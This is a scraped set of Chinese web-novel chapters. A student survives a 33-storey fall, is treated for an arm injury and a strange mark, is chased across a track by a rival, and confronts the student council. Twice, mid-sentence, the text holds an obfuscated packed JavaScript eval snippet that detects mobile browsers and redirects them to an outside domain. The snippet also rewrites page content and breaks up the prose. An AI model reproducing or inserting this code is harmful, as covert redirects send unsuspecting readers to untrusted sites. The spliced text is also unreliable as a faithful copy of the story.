嬴欢眼睁睁看着“自己”一脚踹开了身前的落地窗。 得益于窗帘的助力,玻璃碎片并没有划破皮肤。月光倾落,“嬴欢”带着怀中的人纵身一跃。 不要啊,这里是33层! 少女的表情扭曲了一瞬,在身体腾空的瞬间,开始极速思考怎么才能保住自己的小命。 然而,答案在下一刻已然揭晓。 黑雾脱离了嬴欢的身体,从四周渐渐凝聚成一团,将他们稳稳托在空中。 还没等松口气,几只巡航电子眼齐齐对准了他们,发出刺耳的警报声。 【警告!领域内出现不明物体!激光已瞄准,准备射击!】 嬴欢:“……”这个不明物体绝对不是在说她吧? 黑雾也察觉到了不对劲,没有一丝犹豫地撒开嬴欢,带着另一人迅速消失在原地。 嬴欢:“……”比尤拉还不要脸的东西出现了。 身体迅速下落,穿透无形的风,甚至能看见草坪上惊声尖叫的人群。 她的身体在空中翻转了一面,头发因为重力原因向上方飘去,遮挡住嬴欢全部的视线。 失重感让她有一瞬间的恍惚,上个世界的记忆如同走马灯般接踵而来。 带领人们逃离研究所的女孩儿、捧着橘子蛋糕的女孩儿、被她抵在墙上痛苦质问的女孩儿、自我献祭的女孩儿…… 冷风席过,带着一阵刺骨的寒意。 就在发丝被风冲散的瞬间,她仿佛看见了头顶的那轮月亮。 * 在这个高度下,正常人恐怕会直接粉身碎骨,脑浆都能飞出三米远。 【啊啊啊啊啊──别发呆了!快打开紧急跃迁装置!】一声能使耳膜穿透的大喊将她拉回了现实。 尤拉在短短几秒内花费了“001”账号上近乎所有的积分才换来了这么个玩意。 它只能做到这些了!能不能活全靠她想不想活了! “!” 嬴欢毫不犹豫地咬破自己的嘴唇,以保持短暂的清醒,她能感觉到肾上腺素在急速飙升。 她一把接住尤拉扔出来的特级道具,一个小巧的压缩装置,浑身都散发着耀眼的虹光,一打眼就知道是特等货。 这家伙到底花了多少积分! 嬴欢的心在吝啬与死亡中来回摇摆,她望着越来越近的地面,一股莫大的悲伤油然而生。 她突然明白了一件事。 活着挺好,死了也行。 反正跳都跳了…… 少女在无数双眼睛下坠落、坠落,像一只堕入凡间的凤凰,直到── 一簇浅蓝色火光冲上了天际,尾焰如同彗星燃烧留下的轨迹,照彻整片晴空。 “哇”声一片。 时间仿佛变慢了,嬴欢清楚地看见蓝色的焰火如何向自己靠近。 在落入金属怀抱的同时,嬴欢听到了一声脆响,是自己手臂发出的声音。 哪怕被机甲稳稳接住,她仍然没能逃过巨大冲击力所带来的损伤。 痛。 脑海里只剩下这一个想法。 她已经无力去辨认机甲下方的人是谁,胳膊开始迅速充血,几乎半只手臂都麻了。 尽管如此,少女仍不忘死死握着“紧急跃迁装置”,生怕自己的“全部家当”从手里滑落。 机甲带着少女直接飞往白鸟院的方向,动作行云流水,徒留一群目瞪口呆的围观群众。 “一年级现在压力都这么大了吗?” “我去,这身机甲也太帅了吧……” “什么时候上机甲课啊!羡慕死我了!” “呵呵,你还是先想想怎么交一万字的任务总结吧。” “啊啊啊别说了!在写了在写了!” 47. 受伤 “白院长,急诊楼那边来了一位坠落伤。是个新生,您要不去看看?” 正开着晚间研讨会呢,年轻的助手严正地敲了敲门,顿时把大家的瞌睡都横扫干净了。 白无知瞥了一眼,“人散架了还是人死透了?” “呃……都没有。” “那就交给其他医生,跑来这里做什么?”语气带着老前辈独有的严厉。 “可是……”助手原地犹豫了几秒钟,上前凑近白无知的耳畔,背着众人小声说道:“伤者是校长亲自接待的那位特招生,她的精神值已经跌破10了,情况不太好。” 大指挥官带少女来白鸟院检查的那天,小助手就跟在白无知身旁,她们可是亲眼看着指挥官大人如何像小鸡仔似的躺在灰发少女的怀里,那场面属实难忘。 要不是她们在事后都被厄斯校长刻意敲打了一番,恐怕这件惊天动地的大事早就被传遍整个白鸟院……不,是传遍整个星系了。 “……” 人们看见老人的神色忽然阴沉下来,彼此之间看了看。 他们的眼神在传递同一个信息:是不是可以早点儿下班了! 平时喜怒不形于色的老太桌子一拍,手边的水杯都跟着颤动。 “各位同僚们,今晚这场研讨会暂时告一段落,明早以视频会议的方式继续。” 众人都被这老太太的变脸速度惊讶到了,她一起身,所有人都跟着站了起来。 一大桌子医学人才们目送着院长离去,直到那风风火火的背影彻底消失,人们才开始着手整理资料,时不时还得抽空看表。 是不是马上到上台时间了? 病人们都还在呼吸吗? 明天的晨会报告准备好了没? 最新的医学周刊看了没?数据分析了没?细胞死了没? 不对,明早还得早起开会! * 等白无知和助手赶到接诊室的时候,只见到一个已经昏睡过去的少女,她面色虚弱地靠在墙角,额头上布满冷汗。 “谁送她来的?人呢!”白无知一边指挥医生把她抬上医用诊床,一边询问值班护士。 一时间,没人敢吱声。 护士长站在人群最前方,直面院长压迫感满满的目光,紧忙回忆道,“那个人刚给她送过来就离开了,身上穿着特制机甲,根本认不出人脸。” 其他人频频点头。 虽然她们不熟悉那个机甲战士,但她们熟悉嬴欢啊。 这可是唯一一个敢在白鸟院袭击患者的狠人物。校园论坛里很早就传播着校长直接勒令其退学的传闻,但如今人家这次可是亲自“辟谣”来了。 小助手蓦然灵光一闪,赶紧打开内部论坛,果然看到有关嬴欢的最新帖子被顶了上来。 她快速整合了一下线索,报告给白院长听:“根据目击者描述,该患者从33层纵身而跃,不到一秒钟后,周身泛起了一团黑雾……” “黑雾?” 镜片在灯光下闪了闪,老太太也不知道在想些什么,众人见这表情谁都不敢开口,只好在原地罚站。 床上人的手指忽然动了动。 在众人都没注意到的情况下,少女的眼皮缓缓打开,她是被活活疼醒的。 一闻到消毒水味像是回到了老家。 正对面是个头发花白的老太,两个人对上视线。不知为何,嬴欢从中看出了一丝严肃,让人觉得莫名其妙。 “醒了呀?” 略显刻薄的嗓音传入耳畔,老太太穿过人群,朝她走来。 是在和她说话吗?嬴欢无辜地眨眨眼睛,立马变得和这群护士们一样默默不语。 老花镜下那双灰白的瞳孔将嬴欢整个人扫了一圈,伸出手摸了摸手臂肿胀的部分,开始进行初步的体格检查。 在被摆弄一阵后,嬴欢的脸色已经疼得煞白,却还要回答白无知时不时抛过来的问题。 “以前这里受过伤吗?” “应该……没有吧?”嬴欢莫名心虚。 “这样痛不痛?” “痛!” 做完体格检查后,白无知看了身旁的男医生一眼,后者立马反应过来。 “初步判断可能是韧带或者肌腱等软组织出了问题。”他摸着下巴,在院长的死亡注视下,也跟着有点儿心虚。 这种小伤病在白鸟院算得上常见,基本一个星期能来上几十多个。 男医生一手插在白大褂的口袋里,另一只手放在鼠标上操控电脑,接着朝向护士道:“嗯──推去做个B超和X光吧。” “噢,好的。” 虽然说以前院长也会亲自下来视察工作,但这一次实在是太突然了,他们连个准备都没有,只能小心翼翼地继续干活。 两个女护士动作轻缓地把少女扶上轮椅。 手臂好痒。嬴欢突然感觉身上好似有虫子在搬家。 干瘪的唇瓣动了动,本刚想张口说些什么,却因肌肉处强烈的刺痛而噤住了声。 “先等等。”白无知张口拦住了她们,上前一把扯开那身碍事的训练上衣。 她在嬴欢的皮肤上观察了一会儿,神色凝重。 “那是?”一个护士眼尖地指着皮肤上的烙印,好几只头都凑了过来。 嬴欢不禁跟着低下脑袋,发现自己小臂内侧多了个指甲盖大小的纹身──那是一只形似火焰的黑色鬼魂,纹路清晰又逼真,甚至颇具几分艺术性。 边缘向外泛着赤红色,有点儿类似于散口针扎入皮肤组织后应激肿胀的模样。 无论如何,这图案都显得太过诡异了。 白无知一把将助手拉到身边,轻声耳语。二十秒后,那位助手频频点头,带着命令急匆匆地离开了。 * 等嬴欢做完检查出来后,已经是晚上八点钟。 用仅存的完好的手摸向凸起的印记,虽然不怎么痛但是很痒,就像千万只蚂蚁在那一小块皮肤上筑巢。 护士推着她前往院长办公室。 此刻,办公室里只有白无知一个人。 沉默了约莫两分钟,气氛安静得掉到冰点,嬴欢像是被当作空气般,说话也不是,不说也不是。 两只形似鸽子的鸟儿单脚站在栖木上,嬴欢盯了它们一会儿,最终还是主动开口。 “请问,我小臂上这个图案究竟是什么东西。” 白无知正在处理手下学生的论文,在电脑后轻飘飘地看了她一眼,道:“暂时推测是异族的某种标记行为,至于具体结论,得等其他专家的消息。” “异、族?” 嬴欢在一瞬间体会到了什么叫五雷轰顶。 异族不是早就单方面和人类划清界限,老死不相往来了吗? 更何况,她什么时候和异族扯上关系了? 等等,不会是她那个白眼狼室友干的好事吧?黑雾、精神入侵……难道又是血族? 嬴欢不由得想到了前不久的冤家,哪怕只是个混血种,却也将血脉中的血族能力发挥到了极致。 她真怕了。 “有什么值得大惊小怪的?”白无知嫌弃地看向少女,嘲讽般道:“你们的院长老伍兹祖上就有灰狼血统,都几十代了才把兽态外貌完全进化掉。”说到这,老太太嘴角上扬,只不过并不是善意的笑。 几个院长间的琐事只有在克里斯待上过几年的人才勉强能知道一点儿,但嬴欢潜意识里觉得这几个老人似乎合不太来…… 不过倒也没什么奇怪的,毕竟她目前遇见的这几位院长可都不像是什么正常人。嬴欢乖乖闭嘴,生怕再踩到她的气头上。 白无知继续翻阅着论文,时不时叹气,全程都黑着张脸。 看来学生们的作业质量不太理想,嬴欢暗自松了口气,还好自己不是白鸟院的一员,真是可喜可贺。 等了不知多久,嬴欢都快坐在轮椅上睡了两轮了,报告总算是出来了。 方才的男医生正坐在沙发上看片子,对着睡眼蒙眬的少女安抚道:“没什么大事,右肩韧带轻微拉伤。安心休息个把月,年轻人恢复的快,基本上不会有什么后遗症。” 说罢,他把片子放回袋子里,走到嬴欢受伤的手臂那一侧。 医生给嬴欢的手臂上了两个板,用弹力绷带给它缠成了一根面包棍。 因为伤的是惯用手,医生还亲自给嬴欢开了张证明,可凭借医生签字向教导处申请病假。 白无知全程观 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14376206|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了嬴欢的手臂如何夹板固定、打绷带、系绳结…… 和料想中的不太相同,本来还以为少女会痛得呲牙咧嘴、眼泪横流。但事实恰恰相反,嬴欢全程平静得像个哑巴,只有偶尔会拧起眉毛,但坚决不吭一声。 眼前闪过在观察室里的那一幕──刺耳的警报声中,少女躺在特制诊床上,双手被束缚于胸前。 哪怕在精神值极速跌落的情况下,也没有流露任何脆弱的样子。 白无知想,这可真是个万年一遇的奇葩。 而厄斯校长在少女抱着邬泽走出来的那一刻,对着角落的白无知说了句她至今难忘的话: 看到了吗?她是个战士,完美无瑕的战士。 白无知当即就翻了个白眼,怕不是个疯子吧。 战不战士的白无知可一点儿都不在乎,她只知道嬴欢的全部愤怒都发泄在了那个指挥官和室内设备上,前者败坏了克里斯的名声,后者导致白鸟院损失了一大笔钱。 等维修人员来到白鸟院清点完现场后,直接宣告检查室内的所有物品全部报废,高端仪器、监控摄像头、麻醉器械、电路、警报系统等通通都成了破铜烂铁。 维修人员刚看到这片惨状时,吓得还以为是反叛者入侵克里斯了,不然怎么可能会损坏成这副模样? 然而直到如今,修缮检查室以及购买新设备的钱厄斯那家伙都还没给她批呢! 绝对是看她们白鸟院好欺负! 一想到那遥遥无期的经费,老太婆看嬴欢的眼里就多了团火焰,恨不得把她卖了赚点儿损失费。 嬴欢捂着自己肿胀的半边身子,向医生道了声谢,然后把目光转向老院长。 “能问您一个问题吗?” 白无知一个“滚”字刚要出口,才反应回来还有个年轻医生在场,怎么能在院里的后辈面前爆粗口呢? 于是收回表情,笑吟吟道:“有什么想问的?尽管问,我就喜欢爱提问的孩子!” 正收拾绷带的医生怔住了,这还是他们的黑脸老院长吗?这小同学到底是什么身份啊?他看着嬴欢的眼神中多了一些敬佩,看来明天午饭的谈资也有了! 她从轮椅上勉强站了起来,缓缓抬起眼眸。 “我想问,拥有特殊能力的异族一定就比人类强大吗?” 布满皱纹的手搭在眼镜框上,仿佛要仔细看清少女似的,意味不明地笑了笑。 “诚然,异族天生就有与人类不同的特质。比如你那位室友,能操纵黑雾,很可能是已经接近颓败的血族后代。” “他们拥有比人类更强大的夜视能力,所凝聚的黑雾能够穿透墙壁,战斗力极强。” “但是,他们的弱点也是极为致命的,只要一点点动物血液的香味,他们就会完全失去理智──” 嬴欢想了想自己在客厅里见到的血液。 “越是接近强大的种族,他们的弱点也越是明显。上天在这一点是公平的,我的孩子──”白无知走上前去,不轻不重地拍了拍嬴欢的脸颊,笑得毫无感情。 “何况,人类的极限远比我们想象得更高更远。” 嬴欢点了点头,不管白无知所言是真是假,她都很感谢这句话里带来的鼓励与安慰。 “谢谢。”她一边说一边抓起自己的外套,还好两只袖子足够宽松,能够掩盖住夹板。 似乎又想到了什么似的,她动作顿了顿,“邬蘅他们……还好吗?” “明明自己都伤成这样了,居然还有心思管别人?”嘴上这么说,白无知还是打开了医疗数据面板。 “那个绿头发小姑娘的检查结果倒没什么大碍,至于另一个小子──他的精神值处于极不稳定的状态,目前还没苏醒。” 得知邬蘅平安无事,少女胸口的大石头终于落地,脸色也变得鲜活了一些。 “哎呀,看来你更在意妹妹。”老人一语道破。 嬴欢没作回答,头也不回地转身:“多谢。” 白无知靠在办公桌旁边,端起茶杯轻轻啜饮,掀起眼皮道:“去吧,迷惘的孩子,愿天神保佑你。” 少女嘴角一扯,这句话明显是在当着她的面打趣老伍兹,她只能一言不发,捂着胳膊赶紧离开办公室。 48. 追逐 巨大的榜单悬浮在空中,内容还是一片空白。 “积分榜刷新了没?” “没呢,完成任务的小队还不到半数,按照以往的惯例,只有一半的人出来后才会放榜。” “可恶,在世界里根本活不过五分钟……” “我也是,手气太烂直接抽到「蜉蝣」大佬的任务,结果才刚进去没多久就被NPC一刀捅‘死’了。” 不少人都回到了训练场内的集合点处,他们绝大部分都是在模拟世界中「死亡」后被系统强制性弹出来的,成绩为不合格。 “看到这么多人都没完成任务我就放心了。”打扮时髦的男生轻轻拍打着胸口。 “就是就是,看到那边那几个没?某律师世家的贵公子、某财团的千金大小姐、某影视明星的宝贝女儿,还有什么智商前1%的天才运动员、军团继承人等等等等……这些人不照样和咱们同样的水平?真搞不懂你们在急什么!” 熙熙攘攘间,一个散发着清冷气质的男人从角落隐入人群里,眨眼间便没了踪影。 许是气场太过出众,以至于很多人都认出了他。 “咦?我好像看到厉寻旌了!他是一个人进去的,竟然这么快就出来了,难不成他也任务失败了?” “啊啊啊不是吧?求他千万别成功啊!” 积分分配和小队人数挂钩,基本上独狼获得的最终积分将会是小队队员的1.5倍还要多。 每学期结束后,各学院将会统计积分榜的前三名,为其颁发巨额奖学金,并在积分榜的名字后添加“荣誉之星”后缀。 来到克里斯上学的人基本都不是奔着钱去的,最重要的还是奖学金背后的“明星后缀”──“荣誉之星”。 每年的“荣誉之星”无一例外都成为了日后能够操控全星际的裁决者,他们屹立于宇宙中心,掌握着每一粒尘埃。 总之,这称号已经成为风向标,给墙头草们指明了方向,让“谄媚”这项技术活变得更加省时省力。 人群里爆发一声巨响,周围的狂欢因子极速上升,有人大喊: “哇哦!那边有人打起来了!” “什么什么?什么?什么?什么什么!” “哇哇哇──快让我看看!” 突如其来的变故打散了阴郁的氛围。雨后的水汽扑面而来,少年们像流动的水流朝着源头奔涌而去。 跑道上,少女正以50米短跑的平均速度竭力冲刺,而身后的男人迈着步子奋力猛追。 两人成为了夜间跑道上靓丽的风景线,不少路人纷纷在后方跟跑。 实际上,少女不仅要保持手臂稳定,还要小心后方逐渐拉近的距离。汗水浸透衣衫,贴在肌肤上极为黏腻。 “这俩是谁啊?有没有认识的?”夜色太浓,很难看清两人的脸庞。 头发像一团乌云似的飞扬着,哪怕有只手行动不便,但仍然可以身轻如燕地躲避。 透明的水洼溅起一片涟漪,身影极速闪过,有人正好对上了她的脸庞,下意识惊呼: “嗯?这不嬴欢吗!” “我记起来了!炸了幻境的那个!” “我也记起来了!袭击白鸟院护士的那个!” “通通记起来了!和邬家兄妹组队那个!” “不是,我怎么记得是cp文满天飞的那个?难道我记错了?” 近些日子的记忆开始复苏,他们不禁开始好奇,到底是哪个神人敢追杀这家伙?每个学院之间的私仇确实挺多,但摆在明面上算账的真是少之又少。 当然,这里的“少之又少”不包含各院院长。 * 俗话说,恶人自有恶人磨。 嬴欢刚从白鸟院出来不久,本意是想要随便找个训练场,用非惯用手练习一晚上打靶子,顺便找找丢失的手感。 她正在无人的跑道上慢悠悠走着,身后突然多了一串突兀的脚步声。 那个人保持着不远不近的距离。嬴欢停下,他也停下,嬴欢加快走,他也加快走。 这让她不得不怀疑是哪个仇家找上门来了。 她越走越快,身后的人仍然紧跟不放,直到最后上演成了一场追逐战。 一路从不夜居外围追到机甲院北侧围墙,又从围墙追到训练场。 这下好了,整个训练场的人都看见她丢脸的样子了,“光荣”事迹又要多添一笔! 嬴欢在拐弯时用余光一扫──猛追在自己身后的人正是被她用子弹“调戏”过的那位小哥! 至于为什么叫“小哥”,纯粹是嬴欢已经忘了他的名字。 她真想当面问问这人,大半夜的跟踪她是有什么心事吗?要是偷偷摸摸的也就算了,可他偏不。 在那场“决斗”过后,嬴欢才从校园论坛里得知这小哥原来是机甲院的“香饽饽”、黑川院长的得力干将、克里斯年度最佳新人、星际射击锦标赛五冠王…… 所以自己当初为什么要和他结仇呢?嬴欢十分后悔地想。 自己就一个普普通通的新生怎么可能压制得住他?不被反手拿捏就不错了! “天哪!是岑神!” “啊啊啊啊啊──岑之渊!可以给我签个名吗!” “岑神!等等我!” 简直就是个大型追星现场。 嬴欢隐隐感觉手臂上夹板松动了不少,她咬牙把外套一扔,用牙尖重新收紧绷带,并且再把岑之渊的名字放在嘴巴碾碎几百遍。 该死的岑之渊,该死的黑川,该死的世界! 转眼间已经绕场一圈,刚下完雨的跑道偶尔会打滑,嬴欢生怕自己会脸着地,收紧腰部肌肉的同时还要控制大臂的转动幅度。 “姐姐?” 一抹荧绿色在她前方五十米处挥手。 灰暗的眼睛顿然一亮,撑腰的人来了! 这是嬴欢此生第一次奔向别人的怀抱,以至于她都忘了自己还有只刚刚夹上板的手臂。 双臂向前一挥,“嘎嘣”一声,手臂发出了严厉抗议。 “姐姐!”邬蘅惊呼一声。 少女痛到直接半路栽了下去,脸朝地面,就这么水灵灵地平摊在了跑道上。 后方的人不约而同地停下来看热闹,甚至连岑之渊都放轻了脚步。 他一身轻快地走到少女身旁,比那绿头发的姑娘更快一步地把人拎了起来。 就这样,岑之渊一手拎着她的后衣领,一手叉着腰,扬眉吐气道:“在全校人面前丢脸的感觉如何?” 嬴欢:“……” 好恶毒的男人。 邬蘅顶着小雨跑过来,盯着拉得极近的二人,“不管你是谁,请立刻放开我姐姐。”矜骄的嗓音里带着警告。 岑之渊瘫着张脸,对耳边的杂音充耳不闻,似乎根本就没把小姑娘放在眼里。他一手搭在嬴欢的肩上,偶然注意到她忍痛的表情。 他忽而挑了挑眉,向下触碰着嬴欢的手臂,脸色变得严肃:“你受伤了?你……” 嬴欢恨不得把脸埋入地缝里,用这辈子最小的声音冲着邬蘅说道:“快把我抬走──” 周围的人蠢蠢欲动。 “啊?岑神为什么会追着她跑?” “我猜是这嬴欢又在岑神面前犯贱,结果把人家惹怒了呗。” “岑之渊虽然不近人情了一点儿,但情绪还挺稳定的,这家伙究竟干了什么事啊!” “咦──再怎么着也不至于满校追杀吧?有什么话不能好好谈谈?当学生会的那帮调解员吃白饭的?” “对岑神的滤镜碎了一地,何必把人家小姑娘逼到这份上呢,这一下摔得连我都觉得痛了!” “妈呀,怎么还有人心疼起嬴欢了?这人什么货色大家不都有目共睹吗!你们都好了伤疤忘了疼是吧?” “就是啊,要不是因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14403416|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为这家伙,我们用在白鸟院躺了足足两天吗!” “行了行了,都别吵了──我已经通知学生会了,待会儿就等着看好戏吧。” * 岑之渊被明晃晃地嫌弃了,冰冷的面色出现几丝裂痕。 他追上来只是想得到一句道歉以及缘由。 这女人在训练场用枪口瞄准他的头部的场景还历历在目。 她不仅当着他的面炫耀枪技,而且无缘无故想要他的性命,岑之渊再温良也难以咽下这口气。 可现在,他成了大家眼中的“疯子”,没人在意他们间发生过的事,人们只愿意相信自己现下看到的。 邬蘅以最快速度将少女扶起,特意避开了她的右臂,心中想问的话实在太多,可她明白这不是一个好时机。 她们都没注意到的是,一只巡逻电子眼正记录着全过程,大眼睛骨碌碌地转动。 宽阔的人行道上,几个带着学生会臂章的干事们向她们走来,一个个像门神似的面露凶色。 其中一人使用电子分隔带将现场切割开来,阻挡了想要凑近看热闹的学生。 邬蘅看着眼前这几个学生会的大块头,几分不屑道:“怎么,各位风风火火地来,是有何贵干啊──” 嬴欢冷得脸色发青,扫了眼拦住她们的几个人,心底一哼。看来在克里斯的这段日子里,还是得和学生会碰一碰才算得上圆满。 克里斯的学生会相当特殊,顶层干事们拥有进入学校股东委员会的机会,譬如会长梅瑟·雪莱──一个典型的由普通学生转变成上层股东的例子。 至于邬蘅和她哥哥为何这么恨学生会,原因很简单,邬家和这些股东们隔着一道鸿沟,毕竟“新贵”和“老钱”注定会水火不相容。 女孩儿昂起头颅,身板和气场已经是碾压式的胜利,她像只高贵又凶猛的雌鹰,盯着猎物随时准备出击。 被邬蘅阴阳怪气了一顿的领头人并没有生气,反而更加冷静地疏散这种剑拔弩张的气氛。 “国有国法,校有校规,您有任何问题都随时可以来寻找学生会帮忙解决,而不是采用这种过于‘瞩目’的方式。” 领头人一副公事公办的模样,用最客套的语气向三人道。 邬蘅的眼眸比任何时刻都要亢奋,她清晰地知道母亲把他们兄妹两个送到克里斯的用意。 一是为了在成年时刻好好锻炼一下他们,二是展示邬家血脉的强大,让那些背后嚼舌根的人们心甘情愿地向他们拜服。 邬蘅从来不畏惧外界的挑衅,甚至在入学前几周就忍不住蠢蠢欲动起来──一个满是仇敌的战场,多么令人兴奋啊! “我也很好奇贵校的学生会究竟有多大的权力与能耐。” 一道压低的男声从人群中传来,人们通通为其让开一条路。 那双凌厉的眸与邬蘅简直如出一辙。 “邬、邬涟?” “哇──长得好像,果然兄妹俩一个模子里刻出来的。” “那缕红毛是染的吗?好想染个同款!” 人们对嬴欢的背景越来越好奇了。 当初邬家兄妹可是想都没想就直接和嬴欢组队了,甚至还能看出来嬴欢有些不情愿的成分在里面,现在又和机甲院天才扯上了关系。 不仅如此,曾有人还目睹过秦家小少爷和她并肩的场景…… 难不成这是哪个隐藏身份的豪门独生女?不然该怎么解释这女的和邬家兄妹、岑之渊、秦徵羽之间的渊源呢? 至此,学生会的正对面多了三个气场强劲的少年。 夜风呼啸着拂过发丝,眸光炽烈。他们并肩站在雨幕之中,仿若整个世界都臣服在他们脚下。 一群西装革履的学院精英与三个单薄少年的对弈彻底展开,两方被人群围成一道圈,气氛逐渐攀升,一触即发。 雨声渐响,似乎注定了今晚将是难眠之夜。 49. 电子眼 环形长廊内,隐匿着几个造型奇特的人,他们披着庞大的黑色兜帽,身穿学院制服,看上去也是克里斯的学生。 但若仔细瞧,会发现他们发尾靠近耳朵的地方延展出几簇漂亮的鸦羽,像耳鳍般从皮肤内部生长出来,尤为美丽。 “哼哼,我就说有热闹看吧?顶级暴发户与家族恶犬之间的撕杀缠斗──不行,我得把这宝贵的一幕都录下来。” “好了加奈,小声一点儿,家主不希望我们惹人眼球。”一道沉稳的男声在兜帽下响起。 被称为加奈的女孩儿冷了冷脸,嘲讽起自家人来毫不留情:“唉──真是难为大哥都一把年纪了还要伪造年龄进入克里斯上学,咱们家主大人可真会节约成本。” 她一边打趣对方,一边用烈阳般的眼眸眺望远处。 “加、奈……”男人轻轻拉开兜帽,嗔怪般地瞪了小姑娘一眼。 高挺的鼻梁染上几分清凉的月色,那双眼窝凹陷得恰到好处,融合了东西方的韵味与优势。 “怎么了,难道在咱们赤坂家,说实话也要被训斥吗?这是哪儿来的道理?”她认真地看了眼身旁的人,毫不相让道。 “你……”男人一凝,他向来说不过她。 “喂,快看那里!”加奈急切地指了指高空。 一道幽蓝色的全息投影在乌云下静静浮现,上面正迅速刷新着排名。 人们纷纷被转移了注意力。 “哎──积分榜刷新了!?” “哪儿呢?哪儿呢?!” 榜首往往是最先引人注意的。 「No.1西蒙·K·米切尔积分10000」 「No.2厉寻旌积分9500」 「No.3加奈、晴彦积分8000」 另一边,人群中央。 嬴欢看得尤为认真,连手臂都不自觉地从邬蘅身上放了下来,对着榜首的名字仔细思考了一会儿,无果。 拜托,完全没听说过好吗!到底是哪儿冒出来的? 除了第二名,其他的竞争对手全都在嬴欢的记忆盲区内。 学生会领头人缓慢地鼓了鼓掌,声音清脆:“前百分之十,恭喜三位。”大概目前只有这句话里带着几分真心。 “不必假情假意的,听着恶心。”邬蘅翻了个白眼,将心思全放在排名上。 积分榜是实时刷新的,嬴欢找了好一会儿才找到自己的排名。 “6500分。”第123名。 嬴欢对自己的排名不太满意,这距离奖学金的位置还有很长一段距离。 而另外一个当事人可就不一样了──红毛少年朝着半空眯了眯眼睛,仿佛对积分榜充满了鄙视与怀疑。 邬蘅看了他一眼,火上浇油道:“需要我提醒你一下吗?你的竞赛生涯里还从未有过这么差的名次呢。” 邬涟眉尖一挑,目光瞥向远处的夜空:“是,第一次。”字句中含着咬牙切齿。 一个被所有人忽略的人影走到嬴欢的身后,他单手托起腰部,几乎是用抱麻袋的姿势把她举了起来。 嬴欢一惊,险些开启“自动反击”模式。 “如果不想被学生会请去喝茶,那就别乱动。”趁大家的注意力都不在这边,岑之渊抱着人向相反的方向走去。 万籁俱寂。 “你要带我去哪儿?” 虽然嬴欢已经习惯了被人拿过来扔过去的日子,但这不代表她就要默认被他们随意取拿。 人都是有脾气的,无限制的忍耐从来不是她的作风。 “去我的寝室。” 嬴欢一听,顿时挣扎起来:“我不去。” 岑之渊一把摁住乱动的手臂,严肃地说:“你知不知道上肢对于一个射击手来说有多重要?” 嬴欢面露疑惑。 受伤的又不是他,这么激动做什么? 她板着脸,语气生硬:“这和去你寝室有什么必要关联吗?” 她只知道那俩家伙如果找不到她一定会发疯的,万一做出什么不好的事,她可不想明天早上被校长约谈。 岑之渊不语。倔起来的时候没人能阻挡得了他的想法。 嬴欢的腿窝被紧紧锁住,她用力抓住他的头发,“你知道我们绝对不是什么朋友关系,对吧?” “是。” “你知道我就算折了一只手臂也能杀了你,对吧?” “是。” 左臂渐渐勒紧那细嫩的脖子,嘴唇靠近耳廓,牙尖发出细微的摩擦声:“那么,在接近一个陌生人之前,你有没有想过……如何保证自己的生命安全?” 指甲轻轻戳刺着被皮肤包裹的颈动脉,包含着明显的警告。 岑之渊步伐生风,手指拉住她的衣角:“很遗憾,这里是克里斯,你的想法可以收一收了。” 这一句话就浇灭了嬴欢的杀意。 杀人,不可以。 折磨,可以。 少女脑袋一歪,将下巴靠在柔软的发丝上,有点儿破罐子破摔的意思。 月亮像被水洗了一番,清透而明亮。 “雨停了。”她呢喃。 此情此景,嬴欢忽然有些想念自己的贴心管家了,原来人的怀抱也不一定有智械的怀抱舒坦。 她借着月光仔细看他,手指不禁悄悄地摸了摸露在外面的皮肤,很软,和管家硬邦邦的外壳一点儿都不一样。 青年如同宫廷壁画中活生生走出来似的,他的皮肤偏向于灰白色,肌肉纤瘦却不失力量,轮廓优美。 鼻尖下方的阴影处,是两片临近凋落的玉兰花瓣,毫无血色与生气,带着些难以言喻的凄凉。 适合剥下来做成标本,她想。 “你再这样我就要上报性骚扰了。”薄唇上下缓缓张合。 她见那双秀气的眉毛拧成一团,不禁冷声笑道,“恐怕那只小玩意不会任凭你颠倒黑白吧?” 说着,她对着空中如同蜻蜓般飞行的电子眼友好地挥了挥手。 没人知道这只巴掌大的电子眼究竟观察了他们多久。 两个人站在原地凝视着它。 “这是克里斯的新特色?”嬴欢盯着那只傻呼呼的电子眼。 外表是铝合金材质,不仅防水耐磨,而且还涂上了一层隐形迷彩,肉眼看上去就像和夜色融为一体似的。 它内置了一系列严密的成像系统,部分透明的外壳暴露了繁杂的核心,使整只眼球看上去威慑力满满。 就像某种科幻片里的终极Boss,打又打不死、斗又斗不过的那种。 岑之渊摇摇头,语气平淡,“第一次见。” 嬴欢从他怀里翻跃下来,与电子眼四目相对。 “学校那帮人不会允许领空内出现陌生的飞行物,除非──” “你想说,这只电子眼来自学校?” “不仅仅是来自学校,还可以更具体一点儿,譬如──”嬴欢对他眨了眨眼,“一个足够有分量且时间充裕的人。” 据经验而言,影像传输的尽头将会是那个叫梅瑟的家伙的办公室。 岑之渊很快跟上了她的脑回路,睫毛颤动:“嗯,很有可能。” “嗨,会长大人──”嬴欢冲着电子眼大喊,电子眼的眼珠转了转,并未理解她的指令。 所有人的一举一动都在梅瑟眼皮子底下进行,他们在被学校“监视”着。嬴欢长叹一声,可真是个控制欲强到可怕的家伙。 “你,去把它拿下来。”她看向身边的岑之渊。 他并未有动作,冷静地反问道:“你想做什么?” “废话真多,我去找别人帮忙。”嬴欢背对着他,作势离开。 